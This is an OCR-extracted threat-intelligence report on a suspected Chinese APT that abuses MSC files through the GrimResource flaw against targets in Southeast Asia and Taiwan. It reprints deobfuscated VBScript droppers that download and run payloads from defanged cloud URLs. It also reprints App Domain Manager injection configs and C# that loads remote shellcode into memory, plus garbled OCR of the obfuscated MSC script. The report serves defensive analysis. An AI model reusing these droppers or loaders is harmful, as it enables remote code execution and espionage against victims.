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Chinese APT abuses MSC files with GrimResource vulnerability

TG Soft's C.R.A.M. has been monitoring the abuse of MSC files by a
Chinese APT that exploited a new diskless shellcode.

S T 7 4
CHINESE APT

ABUSES MSLE FILE

Over the past few months, TG Soft's C.R.A.M. has been monitoring different threat actors
abusing MSC files.

The first APT group to use .MSC files in their attacks was #Kimsuky in April 2024, as
reported by companyGenians. In May 2024, the use of this technique was also observed by
the APT group known as #MustangPanda, which carries the #PlugX malware as reported
byNTT.

In June 2024, the abuse of .MSC files was detected with the vulnerability called
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#GrimResource as reported byElastic.

TG Soft's C.R.A.M. continued to monitor the situation in the following months, identifying new
malware campaigns carried out by an unknown cyber-actor that is most likely of Chinese
origin to target Southeast Asia.

Below is the timeline of the monitored attacks:

2024/04/27  2024/05/07 2024{05/17 2024/07/16 2024/08/02 2024/08/12 2024/08/15 2024/08/19 2024/08/20 2024/09/14

Philippines

The first campaign we analyzed is that of August 2, 2024.

[upd 2024-08-26 -> The timeline has been updated: the campaign identified on 2024/08/23
was delivered on 2024/08/19]
[upd 2024-09-16 -> The timeline has been updated: added the campaign of 2024/09/14]

Campaign Analysis

Campaign of August 2, 2024

On August 2, 2024, an email campaign was released with the following file attached: 7K3gj5

MRS . msc

Translating the file name from Chinese to english, the document refers to: Detailed
information on water pollution.msc
The image of the infection chain is shown in the figure:
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The MSC file via the vulnerability known as GrimResource automatically executes the
following script:

<StringTables>
<IdentifierPool Ebsolute
<StringTable>
<GUID>{71ESB33E-1064-11D2-808F-0000F87 SAGCE} </ GUL
<Strings>
<String ID:

" Bbsolutela;

"1nsFavorites</Strings
n215// Console Root

$#:20; 842207 8$520; 68520; 64:

:20; 6#207 845207 8#5207 84520, 68220

<207 6#5207 68220 645207 6$500; 64520764520, ¢#x20764x20; ¢#x20; 64520, 6 #520; 645207 & $520,; 64
001 8520264300 #5202 320 44101 42016 $I0 1 GHRD02 6 FRI0F GRI0F D0 GERI02 D0, 64007 EARD0, $NI0 1 GRD0S S FRD0S G4RD05 6 FR00S £4KD07 4500 4420545005 4#R201 5450054 F 500 £4%007 4 $ 2005 645201645003 685005645203 6#5207 64520
X20:6#X2076#X20 6$X20; G#X20; SF520 68X207 68520 6#520 64520 6520 68X 20 68%20 681007 6§X20, 6ER2076$X20, GEX20-6$X20; 6EX20, 6120, 6#X2076#X20, S FX20; 68X20; 6520 68520764520, 685207 68X20. 68520 68X20. 6820 683207 6$520 68X20
207685207 c#n207 645207 &Fnd 07 45207 ¢Fn0 cdn20; $FnE0 cHnZ07 &0 cHnl0; A0 cBnd0; A0 cEnI0;

var _OxSaeal0— Ox3fel:(function(_0x18e943, Ox3ff8fe){var _0x309377— Ox3fel, Ox1¢3933= 0x18e943() :while(!![]) {try(var

_Ox131a52=parselnt (_0x309377 (0x90) ) /0x1* (parseInt (_0x309377 (0x9b) ) /0x2) +-parselnt (_0x309377 (0x9a) ) /Ox3+parselnt (_0x309377 (Oxal) ) /0x4* (parselnt (_0x309377 (0xa2)) /0x5) +-parseInt (_0x309377 (0x96) ) /Ox6+parselnt (_0x309377
a4)) /0x7* (-parssTnt (_0x309377 (0xa9) )} /0x8) +parseInt (_0x309377 (0xa5) ) /0x9* (-parseInt (_0x309377 (0xaT))/0xa) +-parseInt (_0x309377 (0x9c) ) /Oxb* (-parselnt (_0x309377 (0xa8) ) /Oxc) ;if {_0x131a52—— Ox3ff8fc)break;else
_0x1£3933['push'] (_0x1¢3933[ 'shift']()) s jeatch (_0x29272a) {_0x13933['push’] (_0x1c3933['shift']()) ;}}} (_Oxelf9, 0x4930f) ) ;var

scopeNamespace=external [_0x5aeal0 (0x99) | [_0x5aeal (0xa6) ], TootNode=scopeNamespace [_0x5aeall (0x98) ] () ,mainNode=scopeNamespace [_Ox5aeall (0xa0) ] (rootNode) ,docNode=scopeNamespace [ GetNext '] (mainNode) ;external[_Ox5aeall

9911 [_0x5aca10 (0x57) 1 [_0x5acal0 (0x53) |—dochode  docObIsct—axternal(_bxSacald (0x99) | [_Oxiasall (0xS7) ] [ OxSacald (Oxoe) ], cxternall Oxasald (Dx39)] [*ActiveYiew' ] [ 0x5acald (0x53) 1-nainNode var KMi-docGbisct: fanction
" oxe15() fvar

_0x3d05de=[ActiveView' , 'GetRoot','Document’,'9157321bsRZ]', '76988£BRZIG' , '22QpPonm’, '10£¥I1Dh', 'ControlObject’, ' transformNode', 'GetChild','115160duMoBg’, ' 1SWYQrIV' , ' $3CH3Fxml%20versions3Ds271.0%2743F+3E40A%3Cstyle

F42Fwww.w3 . Orgs2F1999%2FXS L82F Transforms22520xmlnss 3Ams 3D icrosofs 3D 1 D%221.0%
P P 1. i
$201320t0#201799% 34220 LpA] $20%3D#20LpA: i Tuy Jq1#25 L gORXT YUROFT YWIWQE1 YWEZWQB 1 7CkngZWQEOFInr#25xywl t#7CsqtI1ULyme
SxywIts7CSQEEiUEym71%25xywlt37CSqtEiULym1525XywXmt$7Ckng ULyms OF Inrs25xywJ s IDIhzy g UL yme 0 FxywEH( Tmyyux33F4437CEtwiTy £y£3X83T12XtZym2 63FT£TF ESTRTCXINEr4tshixsTBN3I7D 132 TH0FXyWZWQT%25B%2582 Tmyyuxs
437Ctwinwixxx2i EyE3x83r TFEsEY 7x%7Bh333 7D 3htsknls2 4437CEwim i TPsE£Y £yIwy? TDy%2 7Ckng Y 2437C
w3 1fyr3x83r 3LraTRtsLy 7Cx301k#27+0FXyWIt#TCEqLEi ULy THY3FaZX; 7BR3]%7D]#2780Fxywl t+7CsqtT1ULynT425B825%27H%3Fa%x JwxaUzgqnhatsh] X2 7Bh3 )% 7D)3nteknl#27 s0FXyWIts7CSqLEiUL,
+29B%: H¥3Fal £y w3y 7Dy%27ini‘xywxmt%7Clu'AlIIIUfym%zﬁlﬂzﬁ%275%SE‘aijrxaUqu'nha%’lefxg:!nlk%z?ini‘xy‘vJ%’lDJu 'y TaqIUE: H33Fa! 11x37Bh33 $7D3 8273 0FXIy JE¥ITgoIhy-327
%27 . 30FKIy 3EyiTgeihy-42 13RngjX~xyirTgoihyt27 . s0FXjy IEYITgeIhy-42' 27. % £47CsqtEiUEym6. $25Yn) sE0FE25425
$25It47CsqtF1RNq] $ 25Xy WINQE1%25xyw R TCSqt FLULYm6% 0TS 3Rnq) T2 TDnxyX-XxywIta TCSqt E1UEymT . 125Ym: 7c 71125xyu1:ucsqmufyumnmsmzsmwmuascywstgammsk
J%7Dnxyx-xywl t47CsqtLiULYns . $25Ym] s40F£25%25%25%25 [ t47CSqL1Knq) #25XyWEWQB1 25Xy wIt# TCSQEEiU] #25NK#0FR Q33 7D; kngiULym. £25Ym: t%7CsqtLikng 7CkngI ZWQ
SxywXnt$7CknqiUfymb0F Tsi “tgoXm 7D hzyfaqiUfym1 $2561525Ywz3  OFtgoXn: TCknqiUEy 330FXzg 251t%7qutf:an: Zwqlb25ufyn. $0F" 3 £r30F 3y$25
Xy I£Y3TgoIhy-+27FT" (YW EXE27 . S0P 3T03s£25%27LI¥E271825 2wl $25KEGX: YYU3X351%0F 755%25Ym: ]
s30T JET3Y~n %25£1Y~0IGns fw~sOF! Er3sscwny: JxutsxIGL1~OF: JET3X£4TBIY tRng)$250fym1 $257$2582CH25F1XT8
Hw 3£y THTBiwh 5Cwny 3 50F 3 Er3HqtxIHO0F i aks Isi i t33AExe
£320LpAE D%5D% 3Ce2Fmst 3CR2F. ,"28RJNKQz', ' OvWEVdb ', 'ScopeNamespace' , '1648400eUgDQa’ , '3515868UWCKLN' , "151112VLCKPK ' , ' loadML' , 'asyne', 'ActiveScopeNode'

271142AbaJxf '] ;_Oxelf9=rfunction() {return _0x3d05dc;}:return uxalfsu }XML[_Ox5aeal0 (0x94) I1=! [1;var xsl=XML;fanction _Ox3fel(_Oxf0b4b7, 0x488e63) {var _Oxelfss.
_0x3fel-function (_0x3fel0b, 0x220790) {_Ox3fel0b— 0x3fel0b-0x33;var _Ox3cfefb— Oxelf99a( Ox3fellb] jreturn
_Ox3cfefb;}, Ox3fel( 0xf0b4b7, 0x488<63) ;}xsl[_OxSacall (0x93)] (unescape (_Ox5acall(0xa3))) XML[_Ox5acall (0x9f) ] (xsl) ;

- 0xel1£9() ;return

</Strin
Refs="2">Document</String>
£5="1">{2933BF90-TB36-11D2-B20E 83E60}</String>
Refs=n2">Main</String>
Rets
res://apds.dll/redirect . html?target-javaseriptiwindow["\x65\x76\x61\x6c"] (external ["\x44 741" XEE\XT0\x65\x4e\x61\x6d\x65\x73\x70\x61\x63\x65"] ["\x47\x65\x74\x52\x6E\x6E\xT4"] () ["\x

X61\X6\x65"]) </STrin
</Strings>
</StringTabl
</StringTables>

Decripting it gives the following more readable script:
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Option Explicit
Dim objShell, objFSO, objHTTP
Dim strURLA1, strURL2, strURL3, strShowfileURL
Dim strDownloadPath1, strDownloadPath2, strDownloadPath3, strShowfilePath
Dim strExecutablePath
strURL1 = "https|[:]//wordpresss-datal.]s3[.Jme-south-1[.]Jamazonaws[.Jcom/oncesvc.exe'
strURL2 = "https|[:]//wordpresss-datal[.]s3[.Jme-south-
1[.Jamazonaws|.Jcom/oncesvc.exe.config"
strURL3 = "https[:]//wordpresss-data[.]s3[.]Jme-south-1[.]Jamazonaws[.]Jcom/water.txt"
strShowfileURL = "https][:]//wordpresss-data[.]s3.me-south-1[.]amazonaws[.Jcom/ws.pdf"
strDownloadPath1 = "C:\Users\Public\oncesvc.exe"
strDownloadPath2 = "C:\Users\Public\oncesvc.exe.config"
strDownloadPath3 = "C:\Users\Public\water.txt"
strShowfilePath = "C:\Users\Public\wrasb.pdf"
strExecutablePath = "C:\Users\Public\oncesvc.exe"
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objHTTP = CreateObject("MSXML2. XMLHTTP")
If Not objFSO.FileExists(strDownloadPath1) Then
DownloadFile strURL1, strDownloadPath1
End If
If Not objFSO.FileExists(strDownloadPath2) Then
DownloadFile strURL2, strDownloadPath2
End If
If Not objFSO.FileExists(strDownloadPath3) Then
DownloadFile strURL3, strDownloadPath3
End If
If Not objFSO.FileExists(strShowfilePath) Then
DownloadFile strShowfileURL, strShowfilePath
End If
objShell.Run strExecutablePath, 1, True
objShell.Run strShowfilePath, 1, True
Sub DownloadFile(url, path)
Dim objStream
Set objStream = CreateObject("ADODB.Stream")
objHTTP.Open "GET", url, False
objHTTP.Send
If objHTTP.Status = 200 Then
objStream.Open
objStream.Type = 1 ' adTypeBinary
objStream.Write objHTTP.ResponseBody
objStream.SaveToFile path, 2 ' adSaveCreateOverWrite
objStream.Close
End If
Set objStream = Nothing
End Sub

The script downloads the following files into the C:\Users\Public folder:
e oncesvc.exe (Microsoft legitimate file "ClickOnce")
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» oncesvc.exe.config (Configuration file to load malicious DLL)
o water.txt (Unused file, probably to track infection)
o ws.pdf (Decoy)

Below we see the images of the decoy PDF file:
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The oncesvc.exe.config file contains the following configuration:
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<configuration>
<runtime>
<assemblyBinding xmIns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>

<assemblyldentity name="oncesvc" publicKeyToken="205fcab1ea048820"
culture="neutral" />
<codeBase version="0.0.0.0" href="https|:]//360photo[.]oss-cn-
hongkong].]aliyuncs[.]Jcom/202407111985.jpeg"/>
</dependentAssembly>
</assemblyBinding>
<etwEnable enabled="false" />

<appDomainManagerAssembly value="oncesvc, Version=0.0.0.0, Culture=neutral,
PublicKeyToken=205fcab1ea048820" />
<appDomainManagerType value="oncesvc" />
</runtime>
</configuration>

which allows to load the malicious DLL from the address https[:]//360photo[.]Joss-cn-

hongkong].]aliyuncs[.]Jcom/202407111985.jpeg through the App Domain Manager Injection
technique.

The malicious DLL that is executed by the ONCESVC.EXE process, download from the site
https[:]//360photo[.]Joss-cn-hongkong[.]aliyuncs[.Jcom/202407111522.jpeg a completely
diskless 64-bit shellcode.

In the figure we can see the decryption of the obfuscated URL with AES and the execution of
the downloaded shellcode thread:
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// Token: 8x82888006 RID: &
internal static class snowlackingattempt95334
i
// Token: @x0680008087 RID: 7 RVA: @x@@00211C File Offset: @x@ee0831C
public static veoid chocolatenciselessveil36778()
i
: ServicePointManager.SecurityProtocol |= SecurityProtocolType.Tls12;
E string uriString = oncesvc.iveryoutrageouslunch95992. charcoalchivalrousspark24371("1jD8ZGDKGLrkGw/FOUytTEHPz965YD8g]s5tssiXDMNRNrsaX4DyVsTN/
H v9354cn9rdsTacsyIsm7toghYkeaQ==");
E byte[] array = oncesvc.snowlackingattempt95384.salmontastelessmusice7718(new Urifuristring));
: uint num = (uint)array.lLength;
| IntPtr intPtr = oncesvc.snowhelpfulgrass258@9.VirtualAlloc(IntPtr.Zero, num, 122830, 64U);
E Marshal.Copy(array, @, intPtr, (int)num);
E IntPtr hHandle = oncesvc.snowhelpfulgrass258@9.CreateThread(IntPtr.Zero, U, intPtr, IntPtr.Zero, @U, IntPtr.Zero);
: oncesve. snowhelpfulgrass25889.WaitForsingleObject(hHandle, uint.Maxvalue);
¥

/f Token: @xe6@@6e083 RID: 8 RVA: @x@0082198 File Offset: 8x00800393
internal static byte[] salmontastelessmusice?718(Uri magentahurtbirds19428)

byte[] result;
using (WebClient webClient = new WebClient())
{

result = webClient.DownloadData(magentahurtbirds19428);
H
return result;

B REEEEEEEP

i

/f Token: @x@zeeeea7 RID: 7

public static class iwvoryoutragecuslunch95992

i
/f Token: @xe6@@66089 RID: 9 RVA: @x@00821DC File Offset: @x@e8e03DC
public static string charcoalchivalrousspark24371(string aquamarinethunderingporter12822)
i

byte[] snowminiatureair = Convert.FromBase64s5tring(aquamarinethunderingporter12822);

i return ocncesve.ivoryoutrageouslunchd5992 . whiteabackbasket78248(snowminiatureair).Replace("\@", string.Empty);
¥

// Token: @x@6eeeees RID: 1@ RVA: @xeesp22eC File Offset: exeeooeadeC
private static string whiteabackbasket7@248(byte[] snowminiatureair27233)
i

string f@string;

using (AesManaged aesManaged = new AesManaged())

aesManaged.Mode = oncesvc.ivoryoutrageouslunch95992. cipherMode;
aesManaged.Padding = oncesvc.ivoryoutrageouslunch35992. paddingMode;
aesManaged.Key = oncesvc.ivoryoutrageouslunch95992. chartreusenullhoney52739;

The shellocode uses a custom DBJ2 algorithm to determine the hash of the APl names to
use, as we see in the figure:
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il e 5

HASH_DBJ2 sub_ 1448 proc near
mouss rod, byte ptr [rcx]

1lea r18, [rcx+1]
mov eax,
test rod, r9d
jz short locret 1483
Y
=
nop dword ptr [rax+86h]
db G6h, a6h
nop word ptr [rax+rax+B00000088hH]
bl e [-=
loc_1468:
1ea edz, [r?-41h]
cmp edz, 1%h
lea r8d, [r9+ 1
1ea 18, [r18+1]

cmouva r8d, rod
mouss rod, byte ptr [r18-1]

imul eax, 21h
add eax, réd
test rod, rod
jnz short loc_1460
—
Yy
FIFIE

locret_1483:
retn
HASH_DBJ2 sub_1448 endp

The 64bit shellcode connects to domain status|.]s3cloud-azure[.Jcom on the port 8080 at the
page:

/common/oauth2/authorize?client_id=<ID del cliente>

by sending the following request via post: {"user":"password"}

The following information is sent in base 64 in the client_id field:

e username with an indication of whether it is Administrator (isAdmin)
e PC name

e process name

« indication of the architecture of the operating system (32 or 64 bit)
e system memory

Then the shellcode calls the following page: /api/v1/homepage/<id>
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test

jz loc_5DA

r12d, 1

riz2d, ri12d

FEIE]

loc_5DA:
lea

rax, [rbp+81Bh+var_880]

jnz short loc_480
A J

M

lea rax, [rbp+810h+var_880]

mov [rsp+918h+var_B8EB], rax

lea r®, [rbp+81Bh+var_150]

lea rax, [rbp+8i1Bh+arg_0]

nov [rsp+?18h+var_BEB], rax

lea r8, [rbp+81B8h+arg_8]

lea rdx, alserPassword :; "{\'useri":\"passuwordiy"}"
mov dword ptr [rsp+918h+var_8F@], BABBOABH

lea rcx, aStatus_s3cloud : “status.s3cloud-azure.com™
call HTTP_Connect_sub_1158

test eax, eax

iz loc_61C
¥ v

If the answer you get is different from:

o NULL

e 404 Not Found!

mov [rsp+?18h+var_B8EB], rax

lea r9, [rbp+B1Bh+var_268]

lea rax, [rbp+810h+arg_0]

mov [rsp+918h+var_B8E8], rax

lea r8, [rbp+810h+arg_8]

lea rdx, alserPassword ; “{\“usery”:\"passwordy”}"

mov dword ptr [rsp+91Bh+var_8F0], BAOOOOGH

lea rcx, aStatus_s3cloud ; “status.s3cloud-azure.com™

call HTTP_Connect_sub_1158

test eax, eax

jnz short loc_63F

h J

il e 5=
loc_63F:
mov rbx, [rbp+810h+arg_8]
lea r9, aApiV1HomepageS ; “/api/ui/homepage/%s"
mov r8d,
mov [¥sp+918h+var_BFA], rbx
lea rdx, [rbp+818h+var_158]
lea rcx, [rbp+81Bh+var_88M]
call vsprintf_s_sub_1129
mov edx, [rbp+818h+arg_0]
nov r8d, 4888h
mov rc®, rbx
call ri14 ; UirtualFree
mov ri12d, 1
jmp loc_488
sub_8 endp

v

then a new shellcode is executed as we see in the figure:
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S

loc_539:

mov esi, [rbp+818h+arg_8]

mov rod, 4

mov edx, esi

mov r8d,

®or eCc®, ECX

call [rbp+81Bh+var_828] ; Bxa6@ UirtualAlloc
mov rcx, rax

mouv rdx, rdi

mou rbx, ra=

call sub_CBA

mov r8d, L4O08h

mouv edx, esi

mouv rcx, rdi

call ri4 ; UirtualFree

mov rod, HENCH

mov r8d,

mouv edx, esi

®or eCc®, ECX

call [rbp+81Bh+var_828] ; Bxa6@ UirtualAlloc
mov r8d, esi

mov rdx, rbx

mou rce, rax

mov rdi, ras

call [rbp+81Bh+var_7D8] ; BxaB memcpy
mov r8d, LB08h

mouv edx, esi

mov rcx, rbx

call ri4 ; UirtualFree

xor ebx, ebx

xor r9d, r9d

mou [rsp+91B8h+var_8E8], rbx

mov r8, rdi

xor edx, edx

mouv dword ptr [rsp+91Bh+var_8F8], ebx
®or eCc®, ECX

call [rbp+81Bh+var_778] ; Bx188 CreateThread
mov rcx, rax

mov edx, BFFFFFFFFh

call [rbp+818h+var_7708] ; 8x118 WaitForSingleObject
mov r8d, L4B86h

mov edx, esi

mouv rcx, rdi

call ri4 ; UirtualFree

jmp loc_u880

During the analysis the shellcode downloaded and executed a third stage containing the
Marte Beacon with CobaltStrike which connected to the site: static[.]Jtrendmicrotech[.Jcom
with 8443 port (ipv6: 2a06:98¢1:3120:0:0:0:0:7) at the pages:

e GET /etc.clientlibs/microsoft/clientlibs/clientlib-mwf-new/resources/fonts.
e POST /OneCollector/1.0

This version of CobaltStrike created the following pipe: \\.\pipe\srvsvc-1-5-5-067b62
The August 2 campaign targeted the Taiwan government as reported by StrikeReady_Labs

Campaign of July 16, 2024

On July 16, 2024, the file Cert.msc was uploaded to Virus Total from Vietnam .

It is assumed that this is the first campaign used by the threat actor exploiting the grim
resource technique.

The MSC file contains an obfuscated script from which the following is obtained:

13/32


https://www.tgsoft.it/immagini/news/APT_MSC/shellcode_2.png
https://x.com/StrikeReadyLabs/status/1819460764517683658

Option Explicit

Dim objShell, objFSO, objHTTP

Dim strURL1, strURL2

Dim strDownloadPath1, strDownloadPath2

Dim strExecutablePath

strURL1 = "https[:]//speedshare[.Joss-cn-hongkong[.]aliyuncs[.Jcom/Cert.exe"

strURL2 = "https[:]//speedshare[.]Joss-cn-hongkong[.]aliyuncs[.Jcom/Cert.exe.config"

strDownloadPath1 = "C:\Users\Public\Music\Cert.exe"
strDownloadPath2 = "C:\Users\Public\Music\Cert.exe.config"
strExecutablePath = "C:\Users\Public\Music\Cert.exe"
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objHTTP = CreateObject("MSXML2. XMLHTTP")
If Not objFSO.FileExists(strDownloadPath1) Then
DownloadFile strURL1, strDownloadPath1
End If
If Not objFSO.FileExists(strDownloadPath2) Then
DownloadFile strURL2, strDownloadPath2
End If
objShell.Run strExecutablePath, 1, True
Sub DownloadFile(url, path)
Dim objStream
Set objStream = CreateObject("ADODB.Stream")
objHTTP.Open "GET", url, False
objHTTP.Send
If objHTTP.Status = 200 Then
objStream.Open
objStream.Type = 1 ' adTypeBinary
objStream.Write objHTTP.ResponseBody
objStream.SaveToFile path, 2 ' adSaveCreateOverWrite
objStream.Close
End If
Set objStream = Nothing
End Sub

The script inside the MSC file downloads the following files:
» https[:]//speedshare[.Joss-cn-hongkong[.]aliyuncs[.Jcom/Cert.exe.config
o https[:]//speedshare[.Joss-cn-hongkong[.]aliyuncs[.Jcom/Cert.exe
e https[:]//speedshare[.Joss-cn-hongkong[.]aliyuncs[.Jcom/ServiceHub.json
 https[:]//speedshare[.Joss-cn-hongkong].]aliyuncs[.]Jcom/205fcab1ea04882.jpg

The following files were not available during the analysis:
e Cert.exe
e ServiceHub.json

The Cert.exe file should have been the ServiceHub.Host.netfx.x64.exe program.
The Cert.exe.config file contains the following configuration:
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<configuration>

<runtime>

<assemblyBinding xmIns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>

<assemblyldentity name="ServiceHub" publicKeyToken="205fcab1ea048820"
culture="neutral" />

<codeBase version="0.0.0.0" href="https|:]//speedshare[.]Joss-cn-
hongkong].]aliyuncs[.]Jcom/ServiceHub.json"/>

</dependentAssembly>

</assemblyBinding>

<etwEnable enabled="false" />

<appDomainManagerAssembly value="ServiceHub, Version=0.0.0.0, Culture=neutral,
PublicKeyToken=205fcab1ea048820" />

<appDomainManagerType value="ServiceHub" />

</runtime>

</configuration>

It is assumed that the ServiceHub.json file is the malicious DLL that is loaded through the
App Domain Manager Injection technique and the 205fcab1ea04882.jpg file instead directly
contains the Marte Beacon with CobaltStrike that connected to the site: us2[.]Js3bucket-
azure[.]Jonline (ipv6: 2a06:98¢1:3120:0:0:0:0:7) at the page
"/etc.clientlibs/microsoft/clientlibs/clientlib-mwf-new/resources/fonts"

The July 16, 2024 campaign did not use the 64-bit shellcode seen in the August 2 campaign,
but instead directly executed the Marte Beacon with Cobalt Strike, as shown in the figure.:

SERVER C&C

DOWNLOAD DOWNLOAD DOWNLOAD m

— E —> S —> C=E
(@ = Il |

Campaign of August 12, 2024

On August 12, 2024, the file Document_new.pdf.msc was uploaded to Virus Total from
Vietnam.
The MSC file contains an obfuscated script from which the following is obtained:
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Option Explicit
Dim objShell, objFSO, objHTTP
Dim strURLA1, strURL2, strURL3, strShowfileURL
Dim strDownloadPath1, strDownloadPath2, strDownloadPath3, strShowfilePath
Dim strExecutablePath
strURL1 = "https[:]//speedshare[.]Joss-cn-
hongkong].]aliyuncs[.]Jcom/a85f760d1f9cd374.json"
strURL2 = "https[:]//speedshare[.]Joss-cn-
hongkong].]aliyuncs[.]Jcom/a85f760d1f9cd374.config"
strURL3 = "https[:]//yitoo[.]Joss-cn-hongkong[.]aliyuncs[.]Jcom/calc.exe"
strShowfileURL = "https|[:]//speedshare[.]Joss-cn-
hongkong].]aliyuncs[.Jcom/Document_new.pdf"
strDownloadPath1 = "C:\Windows\Temp\Service.exe"
strDownloadPath2 = "C:\Windows\Temp\Service.exe.config"
strDownloadPath3 = "C:\Users\Public\win.ini"
strShowfilePath = "C:\Users\Public\Documents\Documents.pdf"
strExecutablePath = "C:\Windows\Temp\Service.exe"
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objHTTP = CreateObject("MSXML2. XMLHTTP")
If Not objFSO.FileExists(strDownloadPath1) Then
DownloadFile strURL1, strDownloadPath1
End If
If Not objFSO.FileExists(strDownloadPath2) Then
DownloadFile strURL2, strDownloadPath?2
End If
If Not objFSO.FileExists(strDownloadPath3) Then
DownloadFile strURL3, strDownloadPath3
End If
If Not objFSO.FileExists(strShowfilePath) Then
DownloadFile strShowfileURL, strShowfilePath
End If
objShell.Run strExecutablePath, 1, False
objShell.Run strShowfilePath, 1, False
Sub DownloadFile(url, path)
Dim objStream
Set objStream = CreateObject("ADODB.Stream")
objHTTP.Open "GET", url, False
objHTTP.Send
If objHTTP.Status = 200 Then
objStream.Open
objStream.Type = 1 ' adTypeBinary
objStream.Write objHT TP.ResponseBody
objStream.SaveToFile path, 2 ' adSaveCreateOverWrite
objStream.Close
End If
Set objStream = Nothing
End Sub

The only component we had access to was the calc.exe file, which was stored inside the
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public folder under the name win.ini.
During the analysis, it was not possible to recover most of the files used in the attack..

Campaign of August 15, 2024

On August 15, 2024, the file readme(f&EZH5).msc was uploaded to Virus Total
The MSC file contains an obfuscated script from which the following output is obtained:
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Option Explicit
Dim objShell, objFSO, objHTTP
Dim strURLA1, strURL2, strURL3, strShowfileURL
Dim strDownloadPath1, strDownloadPath2, strDownloadPath3, strShowfilePath
Dim strExecutablePath
strURL1 = "https[:]//app-dimensional.]s3[.]sa-east-1[.]Jamazonaws[.]Jcom/oncesvc.exe"
strURL2 = "https[:]//bjj-files-production[.]s3[.]Jsa-east-1[.]Jamazonaws[.Jcom/msedge.dll"
strURL3 = "https][:]//app-dimensiona[.]s3[.]sa-east-
1[.Jamazonaws|.Jcom/oncesvc.exe.config"
strShowfileURL = "https|[:]//app-dimensiona[.]s3[.]sa-east-
1[.]Jamazonaws|.Jcom/readme.docx"
strDownloadPath1 = "C:\Users\Public\oncesvc.exe"
strDownloadPath2 = "C:\Users\Public\msedge.dll"
strDownloadPath3 = "C:\Users\Public\oncesvc.exe.config"
strShowfilePath = "C:\Users\Public\readme.docx"
strExecutablePath = "C:\Users\Public\oncesvc.exe"
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objHTTP = CreateObject("MSXML2. XMLHTTP")
If Not objFSO.FileExists(strDownloadPath1) Then
DownloadFile strURL1, strDownloadPath1
End If
If Not objFSO.FileExists(strDownloadPath2) Then
DownloadFile strURL2, strDownloadPath2
End If
If Not objFSO.FileExists(strDownloadPath3) Then
DownloadFile strURL3, strDownloadPath3
End If
If Not objFSO.FileExists(strShowfilePath) Then
DownloadFile strShowfileURL, strShowfilePath
End If
objShell.Run strExecutablePath, 1, True
objShell.Run strShowfilePath, 1, True
Sub DownloadFile(url, path)
Dim objStream
Set objStream = CreateObject("ADODB.Stream")
objHTTP.Open "GET", url, False
objHTTP.Send
If objHTTP.Status = 200 Then
objStream.Open
objStream.Type = 1 ' adTypeBinary
objStream.Write objHT TP.ResponseBody
objStream.SaveToFile path, 2 ' adSaveCreateOverWrite
objStream.Close
End If
Set objStream = Nothing
End Sub

This campaign is similar to the one on August 2nd, where the oncesvc.exe file is used to
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load the malicious DLL downloaded from: https|:]//speedshare[.]Joss-cn-
hongkong].]aliyuncs[.]Jcom/af7ffc2a629a1c258336fde8a1f71e0a.json.
Malicious DLL downloads 64-bit shellcode from https|[:]/speedshare[.]Joss-cn-
hongkong].]aliyuncs[.Jcom/2472dca8c48ab987e632e66caabf86502bf3.xml.

The 64-bit shellcode is similar to the one seen on August 2nd, the command and control
server in this case is api[.]s2cloud-amazon[.Jcom.

The post used in this case is: {"user”:"password1"}, slightly different than the August 2
campaign.

Again the shellcode downloaded the Marte Beacon with Cobalt Strike, which turned out to be
the same version seen in the August 2 campaign..

Campaign of August 20, 2024

On August 20, 2024, the file "Hwé'ng dan va yéu cau kiém tra, giam sat hoat dong cuia
tirng don vi nam 2024.msc" was uploaded to Virus Total.

The campaign targets Vietnam, translating the file name from Vietnamese would be
"Instructions and requirements for inspection and supervision of the activities of each unit in
2024.msc"

The MSC file is similar to those seen in previous campaigns, the ONCESVC.EXE file is
replaced with MUSICV.EXE.

The configuration file is the same as seen in the August 15 campaign, the same 64-bit
shellcode is downloaded and the same Marte Beacon with Cobalt Strike.

Interesting is the decoy displayed on theme "Vietnam Oil and Gas":
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tap doan dau khi viét nam

Can ct “Quy ché quan ly dau tw nuée ngoai cua Tap doan Dau khi Viét Nam” va bao cdo kiém tra,
giam sat, danh gia hiéu qua hoat dong 6 thang dau ndm 2024 cua dai dién ting don vi thugc PVN
va theo Quyét dinh s6 Quyét dinh 8346/QD-DKVN ngay 14/12/2023, Sau khi tién hanh thanh tra,
giam sat toan dién cac don vi trong 6 thang dau nam 2024, Hoi dong thanh vien PVN yéu cau nhu
sau:

1. Phan von gop cua PVN tai don vi nay:

Thyc hién chi dao tai van ban s6 3419/DKVIN-HDTV ngay 20/4/2024 va van ban s6 587/CT-
DKVN ngay 29/1/2024, ching tai sé tiép tyc thytc hieén cong tac thanh tra, giam sat, kiém tra hiéu
qua hoat dong tai quy I nam 2024. Y éu cau veé két qua danh gia. Ra soat cac stta déi do mébi don vi
de xuat va bo sung cac diéu lé cong ty va quy ché quan tri noi bo khi can thiét.

Tang cuwong quan ly viéc sit dung von, tai san cia doanh nghiép, dinh ky hang quy bao cao PVN
tinh hinh thyc hién. Theo Chi thi s6 3700/CT-DKVN cua Hoi dong quan tri PVIN ngay 29/5/2024,
cac giai phap can dugc xay dyng va trién khai than trong dé x(t ly triét dé cac y kién, van dé dic biét
can néu trong bao cao kiém toan.

Dém bao tuan thu nghiém ngat yéu cau ngp bao cao quan ly tai chinh dac biét va hoat dong theo
quy dinh tai Quyét dinh s6 2941/QD-DKVN ngay 03/5/2024.

2. Hudong dan giam sat, kiém soat hoat dong:

Tiép tyc ting cudng cong tac kiém tra, giam sat cac hoat dong thudng ngay, hoat dong dau tw, quan
1y tai chinh cia don vi, kip thoi canh bao, dé xuat cac viedng maéc tiém an va thuong xuyen bao cao

tién do cong viec cho PVN.

Thwong xuyen danh gia viéc thye hién cac chi dao cua PVN tai cac don vi nham dam bao lien tuc
hoan thién co ché kiém soat, kiém toan noi bo.

Theo Quyét dinh s6 8666/QD-DKVN do Hai dong quan tri PVN ban hanh ngay 27/12/2023, ké
hoach hoat dong ctia Ban Kiém soat sé dugc trién khai va cac bao cdo tai chinh sé digc xem xét,
danh gia toan dién dinh ky 6 thang hoac hang nam nhu da Ién ké hoach.

3. Bién phap thyc hién cu theé:
